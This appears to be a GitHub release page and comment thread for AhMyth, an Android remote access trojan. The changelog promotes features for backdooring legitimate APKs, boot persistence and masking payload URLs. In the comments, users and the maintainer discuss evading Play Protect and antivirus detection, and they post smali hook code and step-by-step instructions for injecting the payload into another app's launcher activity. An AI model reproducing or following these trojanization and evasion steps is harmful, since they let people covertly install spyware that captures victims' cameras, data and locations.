AhMyth v1.0-beta.4

[Morsmalleo]

AhMyth v1.0-beta.4

This release contains Major updates, bug fixes, stability improvements + more.

This release was promised to be released a long time ago but a lot of things came up, so I apologise to everyone for how long this took to do.

Please See the changelog below for more information.

changelog

Details of Updates, Upgrades and more.

Server Updates


1. Fixed a limitation in the **Bind On Launch** Feature, 
where AhMyth was only capable of searching through 
only `smali` directories for launcher activities when 
Backdooring original APK files! AhMyth can now search 
any `smali` or `smali_classes` directory recursively 
for the Launcher activity when Backdooring APK' using 
this method.


2. Updated the **APK Browser Dialog** to only allow the 
selection of APK files in order to avoid misselection of 
other files.


3. Updated code for rendering HTML pages in the `main.js` file to allowing AhMyth to 
upgrade from `electron@9.4.1` to `electron@11.5.0` for Windows & `electron@11.0.0` 
for Linux and macOS.


4. Added a new, simpler, static hook method for backdooring 
APK files when using the **On Launch** Binding Method.
This supersedes the old onCreate hook method used before.
This integration was borrowed from 
**Metasploit-Framework's `androidpayload` files** which 
work in conjunction with `Client Update No. 1` 
seen further down this list.


5. Fixed Building problems with Windows by integrating a 
Child Process to empty the Apktool framework directory 
before building a standalone or bound APK payload, 
this was done because Windows Users required doing this 
manually in order to allow AhMyth's Building process to work 
properly, it's now done automatically before building each 
Payload APK.


6. Fixed a Bug in the function for Modifying Launcher Activity 
files when using the `Bind on Launch` method, this bug would 
cause the package name of a legit APK file to be the absolute 
path of the Launcher Activity, which was not good, the newer 
cross platform Bind On Launch Feature has since fixed thanks 
to the use of **RegExp**


7. Fixed a bug in the `Bind On Launch` feature where the function 
for the extraction of the launcher activity from the `android:targetActivity` 
attribute, was not the full converted launcher activity string, 
apparently the code wasn't finished by the creator because it was not 
having it's instances of XML periods(`.`) converted to path seperating 
slahes(`/` - `\\`), this used to cause a major freeze in binding with some 
APK's, this has now been fixed and will no longer happen anymore.


8. Added new functions to modify an original APK's SDK version number 
when Binding On Launch to aid in allowing permissions of the payload
to be granted after installing a bound payload, this works with most APK's 
I tested on but there were a few exceptions, so don't expect this to work on 
every APK you try it with.


9. Corrected Returned Picture Size from Camera Snap Feature. Major Thank You to 
GitHub user [HiddenPirates](https://github.com/HiddenPirates) for doing this.


Internal Node Module Updates
1. *angular v1.8.0* >> *angular v1.8.3*
2. *angular-route v1.8.0* >> *angular-route v1.8.3*
3. *fs-extra v1.0.0* >> *fs-extra v11.1.0*
4. *geoip-lite v1.1.8* >> *geoip-lite v1.4.6*
5. *socket.io v1.4.5* >> *socket.io v2.4.1*


Internal Node Module Migrations


1. *semantic-ui v2.2.6* >> *fomantic-ui v2.8.8*
2. *homedir v0.6.0* >> *node-homedir v1.1.1*


Client Updates


1. Implemented Java code responsible for starting the new 
static hook function explained in the **Server Updates** above.


2. Added better Boot Persistence.


Repository Updates


1. Updated Repository README.md with Badges, and easy to read 
content.


2. Created an AhMyth wiki that covers detailed information about 
AhMyth and it's payload as well as **Installation Instructions**, 
a **Troubleshoot Manual** for known AhMyth errors plus a 
full **User Manual** for newer users of AhMyth.


3. Added **Issues Templates** to further assist myself and other 
AhMyth users on determining where problems are with either the 
**Server**, the **Client** or with **Binding**.


4. Fixed Binary Setup Installers.


What's New?


1. Built in a new *Payload URL Masker* to slightly assist users with 
remote payload installation, a big thank you to [YagamiLight17](https://GitHub.com/YagamiLight17) 
for modifying & building this into AhMyth + a big thank you to it's original 
creator [yogeshwaran01](https://github.com/yogeshwaran01)!


2. Added a new updated splash screen a with new background
and a new AhMyth Logo.


3. New Custom Permissions Selection for building standalone or bound 
APK payloads, a MAJOR thank you to [YagamiLight17](https://GitHub.com/YagamiLight17 ) 
for this as he worked tirelessly on it.


4. Integrated error logging for Decompiling, Building and Signing.

---

This discussion was created from the release AhMyth v1.0-beta.4.

[Morsmalleo]

macOS binaries will have to wait, as I don't have access to a mac machine to build the binaries

[wasimwasim]

When will the next release date for Windows be?

[wasimwasim]

Please how can I manually integrate the apk?

[Morsmalleo]

I'll be doing a showcase for manually backdooring APK files with AhMyth on YouTube soon, I'll post the link here when it's uploaded

[wasimwasim]

Thank you, we are waiting for you

[randomdude699M]

This update is great! Thank you very very much!

[Morsmalleo]

You're most welcome 😁 there's more to come!

[wasimwasim]

Peace be upon you, my brother
I encountered a problem while testing the camera

When taking a picture and the phone is loud, the capture sound appears

How can I stop it?

Note that the phone is Android 11 version

[Morsmalleo]

Yes I've noticed this when testing on my own devices which run Android 12 & 13, I will be looking for an update to this as soon as I can get to work on the Client again, currently I'm trying to figure out the last update for the Server's Binding features, once I've done that, I'll get to work on everything the client needs.

[wasimwasim]

Thank you very much for your interest, but I have another question. Can I encrypt the smali codes of the payload so that it cannot be detected? Because I installed the payload on my Redmi device, and upon installation, I discovered that the program contains a Trojan horse

[Morsmalleo]

Thank you very much for your interest, but I have another question. Can I encrypt the smali codes of the payload so that it cannot be detected? Because I installed the payload on my Redmi device, and upon installation, I discovered that the program contains a Trojan horse

This was discovered by play protect yes?

[Morsmalleo]

This is because the signing key is only a test key, once AhMyth reaches version 1.0-beta.5, I'll be doing work on proper signing keys for the payload, as this is all that's need to bypass play protect, however for Anti Virus systems this is going to be a problem, it can be bypassed it's just going to take some time

[wasimwasim]

For merging the payload manually into another application, I found an easy way, which is as follows

I created smali_classes2 and copied the smali payload folder into the apk

I copied the AndroidManifest permissions and code of the payload

Searches for the main class of the MainActivity application and added this code while changing the specified path of the main file

new-instance v0, Landroid/content/Intent;

    const-class v1, Lahmyth/mine/king/ahmyth/MainService;

    invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V

    invoke-virtual {p0, v0}, **Lahmyth/mine/king/ahmyth/MainActivity**;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;

---

Then we compile the apk and the server integration process is completed successfully

[hakersgenie]

Still the same ERROR.

[Morsmalleo]

Still the same ERROR.

Send a screenshot of what you've done

[hakersgenie]

Excuse me my mentor I was a little busy
Here is the screenshot you requested.

[Morsmalleo]

Now screenshot the launcher activity file you threw the hook code above in

[hakersgenie]

ok

[hakersgenie]

[hakersgenie]

[hakersgenie]

Ok my mentor will learn a lot from you

[Morsmalleo]

Ok my mentor will learn a lot from you

Ok so for the APK you sent me it goes like this.

In the "AndroidManifest.xml" file, we look for the <activity></activity> class that contains both the android.intent.action.MAIN and the android.intent.category.LAUNCHER strings as seen in the First Screenshot below.

The reason we always look for this, is because it contains the almost relevant path to this APK file's Main Launcher Activity Smali file that we are going to need to hook. As you can see from the Second Screenshot below, it points us down a path to the APK's Main Launcher Activity which for this APK is com.bfedition.simbacity.SplashActivity

Now with a simple Terminal or PowerShell command like the ones below:

Windows PowerShell

set-location "path\to\decompiled\APK"; gci -path "path\to\decompiled\APK" -recurse -filter "SplashActivity.smali" -file | resolve-path -relative

Linux Terminal

cd path/to/decompiled/APK; find -name "SplashActivity.smali"

macOS Bash Terminal

find "path/to/decompiled/APK" -name "SplashActivity.smali"

you can find that the full path to the SplashActivity file in this APK, is indeed located in the following location

smali/com/bfedition/simbacity/SplashActivity.smali

So we traverse down this path using a file browser and open the SplashActivity.smali file in a text editor.

Now as you can see in the Third Screenshot below, all we have to do when hooking this APK, is stay at the top of the "SplashActivity.smali" file and look for the first occurrence of the string "return-void":

Once we locate the first occurrence of "return-void", all you need to do is insert the hook code I mentioned to another user above, and save then save the file like so:

The rest of the steps for editing the manifest so the everything works after hooking the Smali File, you can find on this YouTube Video, just skip the parts about hooking the smali file and follow the parts about editing the "AndroidManifest.xml" file and copying the AhMyth files over to the original app, because you've already followed the new steps for hooking the Smali file above.

[Morsmalleo]

Hopefully this helps people get the idea of how it's done manually before I write up the instructions for it in the User Manual

[hakersgenie]

Hi. Thank you I want to try my mentor.

[hakersgenie]

Hi Morsmalleo

[nyctophiliac0]

can't click on apk builder....

[Morsmalleo]

Coz you haven't followed the instructions properly that's why

[cepmasthur]

building failed
building eror written to "building.log" on

[Morsmalleo]

building failed building eror written to "building.log" on

Don't post issues here